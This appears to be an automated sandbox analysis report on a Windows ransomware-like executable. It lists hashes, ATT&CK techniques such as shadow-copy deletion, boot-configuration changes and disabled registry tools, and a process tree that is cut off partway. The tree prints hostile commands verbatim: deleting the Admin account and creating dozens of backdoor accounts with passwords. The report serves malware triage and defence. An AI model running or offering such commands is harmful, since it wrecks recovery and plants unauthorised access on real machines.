aedbaf7d4380ee4fd07c34017b67a0cf53eaf6668d37d45ecb8391130a039282

Analysis

max time kernel
75s
max time network
125s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
12/11/2026, 10:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
aedbaf7d4380ee4f.exe
Size 2.1MB
Sample261112-meag3aef63
SHA256 aedbaf7d4380ee4fd07c34017b67a0cf53eaf6668d37d45ecb8391130a039282
MD5 bb8011606fea0751304de45ccc422614
SHA1 666c7eef65f61054044ee416410f471a3ac2c4e0
SHA512 e80e3fbc7b671b86033d5b6a6104bd86b1d9abe0f73f314d568198925cf493cc9d970f102c1160fb09fbde82e975562935a4c30cafcd22b78c46c07aa8e88b94
SSDEEP 12288:R7KhpcYL1DebKZplDmrcX/GA5mIqYkQrw9bg5rIszXDTRx7GBHK9/tI7pXrJQRkj:ZKb1L3ZplircX+AMoicRpXhkusQrj7c
TLSH
T1C8A53B0377C7ADF6C8932B74AAEF132C5721EE305F6A0B7F554882345D532E8AD0A691
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery evasion execution exploit impact persistence privilege_escalation ransomware

Malware Config

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 3 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1784	bcdedit.exe
6004	bcdedit.exe
4116	bcdedit.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
defense_evasion

Indicator Removal: Network Share Connection Removal 1 TTPs 3 IoCs

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

defense_evasion

Network Share Connection Removal

T1070.005

pid	Process
2156	cmd.exe
2028	net.exe
1952	net1.exe

Possible privilege escalation attempt 6 IoCs

exploit

pid	Process
896	takeown.exe
3652	icacls.exe
2096	takeown.exe
1884	icacls.exe
1744	takeown.exe
940	icacls.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Modifies file permissions 1 TTPs 6 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
896	takeown.exe
3652	icacls.exe
2096	takeown.exe
1884	icacls.exe
1744	takeown.exe
940	icacls.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5812	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Power Settings 1 TTPs 2 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
1844	cmd.exe
4196	powercfg.exe

Creates a new local user account 1 TTPs 64 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
3600	net.exe
5884	net.exe
2708	net.exe
1136	net1.exe
6132	net.exe
3144	net1.exe
3368	net.exe
4300	net.exe
5368	net.exe
3472	net1.exe
3944	net.exe
4492	net.exe
3288	net1.exe
3280	net1.exe
5628	net1.exe
4452	net.exe
3964	net1.exe
3232	net.exe
2312	net1.exe
4552	net1.exe
3876	net1.exe
4836	net1.exe
2952	net1.exe
4860	net.exe
4836	net1.exe
3604	net1.exe
1236	net.exe
5020	net.exe
5832	net.exe
1828	net.exe
3220	net1.exe
3396	net.exe
4600	net.exe
5248	net1.exe
1832	net.exe
3816	net1.exe
3028	net1.exe
1140	net1.exe
5992	net1.exe
4164	net1.exe
4604	net.exe
244	net.exe
2300	net.exe
1584	net.exe
2192	net1.exe
5160	net1.exe
5972	net1.exe
5488	net1.exe
2008	net1.exe
4660	net.exe
4916	net.exe
960	net1.exe
1532	net.exe
1484	net1.exe
5000	net1.exe
4308	net.exe
4008	net.exe
1592	net.exe
1500	net.exe
4180	net.exe
4656	net.exe
1360	net.exe
1704	net1.exe
1804	net1.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe

Launches sc.exe 6 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3408	sc.exe
3660	sc.exe
2292	sc.exe
4056	sc.exe
1900	sc.exe
4104	sc.exe

Event Triggered Execution: Accessibility Features 1 TTPs
Windows contains accessibility features that may be used by adversaries to establish persistence and/or elevate privileges.
persistence privilege_escalation

Accessibility Features
T1546.008

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4332	cmd.exe
4680	cmd.exe
1760	cmd.exe
4132	cmd.exe
5012	cmd.exe
2840	cmd.exe
1824	cmd.exe
5748	cmd.exe
4828	cmd.exe
3980	cmd.exe
464	cmd.exe
5580	cmd.exe
5816	cmd.exe
5384	cmd.exe
5224	cmd.exe
3884	cmd.exe
2540	cmd.exe
1600	cmd.exe
3184	cmd.exe
4880	cmd.exe
4120	cmd.exe
5488	cmd.exe
712	cmd.exe
5484	cmd.exe
4004	cmd.exe
1692	cmd.exe
1160	cmd.exe
4016	cmd.exe
2460	cmd.exe
3036	cmd.exe
2032	cmd.exe
1864	cmd.exe
5528	cmd.exe
4124	cmd.exe
3476	cmd.exe
4172	cmd.exe
4944	cmd.exe
2612	cmd.exe
6088	cmd.exe
3140	cmd.exe
3372	cmd.exe
2960	cmd.exe
4048	cmd.exe
236	cmd.exe
2144	cmd.exe
4416	cmd.exe
5596	cmd.exe
4192	cmd.exe
5936	cmd.exe
3304	cmd.exe
3760	cmd.exe
4488	cmd.exe
2812	cmd.exe
956	cmd.exe
4388	cmd.exe
1212	cmd.exe
5544	cmd.exe
3800	cmd.exe
2908	cmd.exe
760	cmd.exe
2652	cmd.exe
4824	cmd.exe
3880	cmd.exe
5396	cmd.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1576	vssadmin.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2488	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5812	powershell.exe
5812	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
812	Process not Found
812	Process not Found

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4196	powercfg.exe
Token: SeCreatePagefilePrivilege	4196	powercfg.exe
Token: SeShutdownPrivilege	4196	powercfg.exe
Token: SeCreatePagefilePrivilege	4196	powercfg.exe
Token: SeSystemEnvironmentPrivilege	2636	svchost.exe
Token: SeBackupPrivilege	616	vssvc.exe
Token: SeRestorePrivilege	616	vssvc.exe
Token: SeAuditPrivilege	616	vssvc.exe
Token: SeDebugPrivilege	5812	powershell.exe
Token: SeTakeOwnershipPrivilege	1744	takeown.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2796	conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4200 wrote to memory of 2156	4200	aedbaf7d4380ee4f.exe	90
PID 2156 wrote to memory of 2028	2156	cmd.exe	91
PID 2028 wrote to memory of 1952	2028	net.exe	92
PID 4200 wrote to memory of 5784	4200	aedbaf7d4380ee4f.exe	93
PID 5784 wrote to memory of 4152	5784	cmd.exe	94
PID 4152 wrote to memory of 1008	4152	net.exe	95
PID 4200 wrote to memory of 3376	4200	aedbaf7d4380ee4f.exe	96
PID 3376 wrote to memory of 4860	3376	cmd.exe	97
PID 4860 wrote to memory of 4680	4860	net.exe	98
PID 4200 wrote to memory of 2032	4200	aedbaf7d4380ee4f.exe	99
PID 2032 wrote to memory of 4916	2032	cmd.exe	100
PID 4916 wrote to memory of 960	4916	net.exe	101
PID 4200 wrote to memory of 2540	4200	aedbaf7d4380ee4f.exe	102
PID 2540 wrote to memory of 1356	2540	cmd.exe	103
PID 1356 wrote to memory of 5160	1356	net.exe	104
PID 4200 wrote to memory of 4488	4200	aedbaf7d4380ee4f.exe	105
PID 4488 wrote to memory of 3232	4488	cmd.exe	106
PID 3232 wrote to memory of 4836	3232	net.exe	107
PID 4200 wrote to memory of 4888	4200	aedbaf7d4380ee4f.exe	108
PID 4888 wrote to memory of 2680	4888	cmd.exe	109
PID 2680 wrote to memory of 2740	2680	net.exe	110
PID 4200 wrote to memory of 5012	4200	aedbaf7d4380ee4f.exe	111
PID 5012 wrote to memory of 1532	5012	cmd.exe	112
PID 1532 wrote to memory of 3440	1532	net.exe	113
PID 4200 wrote to memory of 5920	4200	aedbaf7d4380ee4f.exe	114
PID 5920 wrote to memory of 4180	5920	cmd.exe	115
PID 4180 wrote to memory of 3472	4180	net.exe	116
PID 4200 wrote to memory of 464	4200	aedbaf7d4380ee4f.exe	117
PID 464 wrote to memory of 5884	464	cmd.exe	118
PID 5884 wrote to memory of 1140	5884	net.exe	119
PID 4200 wrote to memory of 1916	4200	aedbaf7d4380ee4f.exe	120
PID 1916 wrote to memory of 2708	1916	cmd.exe	121
PID 2708 wrote to memory of 5248	2708	net.exe	122
PID 4200 wrote to memory of 5580	4200	aedbaf7d4380ee4f.exe	123
PID 5580 wrote to memory of 6024	5580	cmd.exe	124
PID 6024 wrote to memory of 5972	6024	net.exe	125
PID 4200 wrote to memory of 4648	4200	aedbaf7d4380ee4f.exe	126
PID 4648 wrote to memory of 5020	4648	cmd.exe	127
PID 5020 wrote to memory of 5488	5020	net.exe	128
PID 4200 wrote to memory of 2812	4200	aedbaf7d4380ee4f.exe	129
PID 2812 wrote to memory of 5960	2812	cmd.exe	130
PID 5960 wrote to memory of 5992	5960	net.exe	131
PID 4200 wrote to memory of 2800	4200	aedbaf7d4380ee4f.exe	132
PID 2800 wrote to memory of 4656	2800	cmd.exe	133
PID 4656 wrote to memory of 1136	4656	net.exe	134
PID 4200 wrote to memory of 904	4200	aedbaf7d4380ee4f.exe	135
PID 904 wrote to memory of 1832	904	cmd.exe	136
PID 1832 wrote to memory of 6004	1832	net.exe	137
PID 4200 wrote to memory of 3140	4200	aedbaf7d4380ee4f.exe	138
PID 3140 wrote to memory of 5832	3140	cmd.exe	139
PID 5832 wrote to memory of 2312	5832	net.exe	140
PID 4200 wrote to memory of 2604	4200	aedbaf7d4380ee4f.exe	141
PID 2604 wrote to memory of 1828	2604	cmd.exe	142
PID 1828 wrote to memory of 5196	1828	net.exe	143
PID 4200 wrote to memory of 5544	4200	aedbaf7d4380ee4f.exe	144
PID 5544 wrote to memory of 3944	5544	cmd.exe	145
PID 3944 wrote to memory of 4164	3944	net.exe	146
PID 4200 wrote to memory of 2696	4200	aedbaf7d4380ee4f.exe	147
PID 2696 wrote to memory of 2920	2696	cmd.exe	148
PID 2920 wrote to memory of 1484	2920	net.exe	149
PID 4200 wrote to memory of 4508	4200	aedbaf7d4380ee4f.exe	150
PID 4508 wrote to memory of 1360	4508	cmd.exe	151
PID 1360 wrote to memory of 5760	1360	net.exe	152
PID 4200 wrote to memory of 3760	4200	aedbaf7d4380ee4f.exe	153

System policy modification 1 TTPs 3 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer	aedbaf7d4380ee4f.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives = "67108863"	aedbaf7d4380ee4f.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive = "67108863"	aedbaf7d4380ee4f.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\aedbaf7d4380ee4f.exe
"C:\Users\Admin\AppData\Local\Temp\aedbaf7d4380ee4f.exe"
1⤵
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4200
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user Admin /delete
  2⤵
  - Indicator Removal: Network Share Connection Removal
  - Suspicious use of WriteProcessMemory
  PID:2156
- - C:\Windows\system32\net.exe
    net user Admin /delete
    3⤵
    - Indicator Removal: Network Share Connection Removal
    - Suspicious use of WriteProcessMemory
    PID:2028
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user Admin /delete
      4⤵
      Indicator Removal: Network Share Connection Removal
      PID:1952
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_1 9OVH7nbHYF /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5784
- - C:\Windows\system32\net.exe
    net user opa_1 9OVH7nbHYF /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4152
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_1 9OVH7nbHYF /add
      4⤵
      PID:1008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_2 pgxII5k1S4 /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3376
- - C:\Windows\system32\net.exe
    net user opa_2 pgxII5k1S4 /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:4860
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_2 pgxII5k1S4 /add
      4⤵
      PID:4680
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_3 BXJ9eCARyAp /add
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2032
- - C:\Windows\system32\net.exe
    net user opa_3 BXJ9eCARyAp /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:4916
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_3 BXJ9eCARyAp /add
      4⤵
      Creates a new local user account
      PID:960
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_4 UkFtJDl7OdMQrx /add
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2540
- - C:\Windows\system32\net.exe
    net user opa_4 UkFtJDl7OdMQrx /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1356
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_4 UkFtJDl7OdMQrx /add
      4⤵
      Creates a new local user account
      PID:5160
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_5 5Tg5w8YCLG /add
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4488
- - C:\Windows\system32\net.exe
    net user opa_5 5Tg5w8YCLG /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:3232
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_5 5Tg5w8YCLG /add
      4⤵
      Creates a new local user account
      PID:4836
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_6 PliC8kKbleurp /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4888
- - C:\Windows\system32\net.exe
    net user opa_6 PliC8kKbleurp /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2680
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_6 PliC8kKbleurp /add
      4⤵
      PID:2740
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_7 FdlNnDeVoPVTU /add
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5012
- - C:\Windows\system32\net.exe
    net user opa_7 FdlNnDeVoPVTU /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:1532
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_7 FdlNnDeVoPVTU /add
      4⤵
      PID:3440
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_8 snvsWgY5H6n /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5920
- - C:\Windows\system32\net.exe
    net user opa_8 snvsWgY5H6n /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:4180
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_8 snvsWgY5H6n /add
      4⤵
      Creates a new local user account
      PID:3472
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_9 dJJZdszUXvkMgk /add
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:464
- - C:\Windows\system32\net.exe
    net user opa_9 dJJZdszUXvkMgk /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:5884
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_9 dJJZdszUXvkMgk /add
      4⤵
      Creates a new local user account
      PID:1140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_10 5IsoH6DLzk /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1916
- - C:\Windows\system32\net.exe
    net user opa_10 5IsoH6DLzk /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:2708
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_10 5IsoH6DLzk /add
      4⤵
      Creates a new local user account
      PID:5248
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_11 QUuTqTukCrl /add
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5580
- - C:\Windows\system32\net.exe
    net user opa_11 QUuTqTukCrl /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6024
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_11 QUuTqTukCrl /add
      4⤵
      Creates a new local user account
      PID:5972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_12 OYnNZyfP3AlFoh /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4648
- - C:\Windows\system32\net.exe
    net user opa_12 OYnNZyfP3AlFoh /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:5020
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_12 OYnNZyfP3AlFoh /add
      4⤵
      Creates a new local user account
      PID:5488
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_13 MBH9WxkS9GrJ1a /add
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2812
- - C:\Windows\system32\net.exe
    net user opa_13 MBH9WxkS9GrJ1a /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5960
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_13 MBH9WxkS9GrJ1a /add
      4⤵
      Creates a new local user account
      PID:5992
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_14 QloxaGqm6PdZ /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2800
- - C:\Windows\system32\net.exe
    net user opa_14 QloxaGqm6PdZ /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:4656
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_14 QloxaGqm6PdZ /add
      4⤵
      Creates a new local user account
      PID:1136
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_15 9bhYlM2OJ3VMP /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:904
- - C:\Windows\system32\net.exe
    net user opa_15 9bhYlM2OJ3VMP /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:1832
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_15 9bhYlM2OJ3VMP /add
      4⤵
      PID:6004
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_16 Zd5jul1Uq5S4 /add
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3140
- - C:\Windows\system32\net.exe
    net user opa_16 Zd5jul1Uq5S4 /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:5832
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_16 Zd5jul1Uq5S4 /add
      4⤵
      Creates a new local user account
      PID:2312
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_17 eI225fmZVWMT /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2604
- - C:\Windows\system32\net.exe
    net user opa_17 eI225fmZVWMT /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:1828
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_17 eI225fmZVWMT /add
      4⤵
      PID:5196
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_18 1iBBKV53VnBV68 /add
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5544
- - C:\Windows\system32\net.exe
    net user opa_18 1iBBKV53VnBV68 /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:3944
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_18 1iBBKV53VnBV68 /add
      4⤵
      Creates a new local user account
      PID:4164
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_19 fjkm4lAwNXrt /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2696
- - C:\Windows\system32\net.exe
    net user opa_19 fjkm4lAwNXrt /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2920
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_19 fjkm4lAwNXrt /add
      4⤵
      Creates a new local user account
      PID:1484
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_20 yac9C43LeDi /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4508
- - C:\Windows\system32\net.exe
    net user opa_20 yac9C43LeDi /add
    3⤵
    - Creates a new local user account
    - Suspicious use of WriteProcessMemory
    PID:1360
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_20 yac9C43LeDi /add
      4⤵
      PID:5760
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_21 cyEflsCr7ov4v /add
  2⤵
  - Executes a command shell one-liner
  PID:3760
- - C:\Windows\system32\net.exe
    net user opa_21 cyEflsCr7ov4v /add
    3⤵
    PID:2180
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_21 cyEflsCr7ov4v /add
      4⤵
      PID:2896
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_22 RDAQEGGEowWzpM /add
  2⤵
  - Executes a command shell one-liner
  PID:2144
- - C:\Windows\system32\net.exe
    net user opa_22 RDAQEGGEowWzpM /add
    3⤵
    - Creates a new local user account
    PID:6132
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_22 RDAQEGGEowWzpM /add
      4⤵
      PID:4876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_23 WkdfsZqVUQi6 /add
  2⤵
  PID:5728
- - C:\Windows\system32\net.exe
    net user opa_23 WkdfsZqVUQi6 /add
    3⤵
    PID:6008
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_23 WkdfsZqVUQi6 /add
      4⤵
      Creates a new local user account
      PID:3144
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_24 BFqyZg1lgiJ6 /add
  2⤵
  - Executes a command shell one-liner
  PID:3800
- - C:\Windows\system32\net.exe
    net user opa_24 BFqyZg1lgiJ6 /add
    3⤵
    PID:6096
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_24 BFqyZg1lgiJ6 /add
      4⤵
      PID:4992
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_25 3dnZ4YOpxA /add
  2⤵
  - Executes a command shell one-liner
  PID:1600
- - C:\Windows\system32\net.exe
    net user opa_25 3dnZ4YOpxA /add
    3⤵
    - Creates a new local user account
    PID:2300
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_25 3dnZ4YOpxA /add
      4⤵
      Creates a new local user account
      PID:3220
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_26 KDvGhGQtHP /add
  2⤵
  - Executes a command shell one-liner
  PID:3476
- - C:\Windows\system32\net.exe
    net user opa_26 KDvGhGQtHP /add
    3⤵
    PID:852
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_26 KDvGhGQtHP /add
      4⤵
      Creates a new local user account
      PID:5000
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_27 RtfqESK30fviW /add
  2⤵
  - Executes a command shell one-liner
  PID:4416
- - C:\Windows\system32\net.exe
    net user opa_27 RtfqESK30fviW /add
    3⤵
    PID:5124
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_27 RtfqESK30fviW /add
      4⤵
      PID:3212
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_28 7DkoyZhU4a /add
  2⤵
  PID:1816
- - C:\Windows\system32\net.exe
    net user opa_28 7DkoyZhU4a /add
    3⤵
    - Creates a new local user account
    PID:1584
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_28 7DkoyZhU4a /add
      4⤵
      Creates a new local user account
      PID:2192
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_29 3GxUb6kJpiaN /add
  2⤵
  PID:3796
- - C:\Windows\system32\net.exe
    net user opa_29 3GxUb6kJpiaN /add
    3⤵
    - Creates a new local user account
    PID:1500
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_29 3GxUb6kJpiaN /add
      4⤵
      Creates a new local user account
      PID:2008
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_30 1wwfTNE6q8KH /add
  2⤵
  - Executes a command shell one-liner
  PID:3372
- - C:\Windows\system32\net.exe
    net user opa_30 1wwfTNE6q8KH /add
    3⤵
    - Creates a new local user account
    PID:3368
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_30 1wwfTNE6q8KH /add
      4⤵
      Creates a new local user account
      PID:1704
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_31 pmNSsCVeD3Jr5 /add
  2⤵
  - Executes a command shell one-liner
  PID:4004
- - C:\Windows\system32\net.exe
    net user opa_31 pmNSsCVeD3Jr5 /add
    3⤵
    - Creates a new local user account
    PID:3600
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_31 pmNSsCVeD3Jr5 /add
      4⤵
      Creates a new local user account
      PID:4552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_32 0rMi21TUN0Z /add
  2⤵
  PID:2184
- - C:\Windows\system32\net.exe
    net user opa_32 0rMi21TUN0Z /add
    3⤵
    - Creates a new local user account
    PID:4300
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_32 0rMi21TUN0Z /add
      4⤵
      PID:2432
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_33 117Wh9Zs2Mpkc0 /add
  2⤵
  - Executes a command shell one-liner
  PID:3184
- - C:\Windows\system32\net.exe
    net user opa_33 117Wh9Zs2Mpkc0 /add
    3⤵
    PID:3156
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_33 117Wh9Zs2Mpkc0 /add
      4⤵
      Creates a new local user account
      PID:3604
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_34 BqT85At0YRITB /add
  2⤵
  - Executes a command shell one-liner
  PID:2908
- - C:\Windows\system32\net.exe
    net user opa_34 BqT85At0YRITB /add
    3⤵
    - Creates a new local user account
    PID:4492
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_34 BqT85At0YRITB /add
      4⤵
      PID:5652
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_35 mTowVzUKh6 /add
  2⤵
  - Executes a command shell one-liner
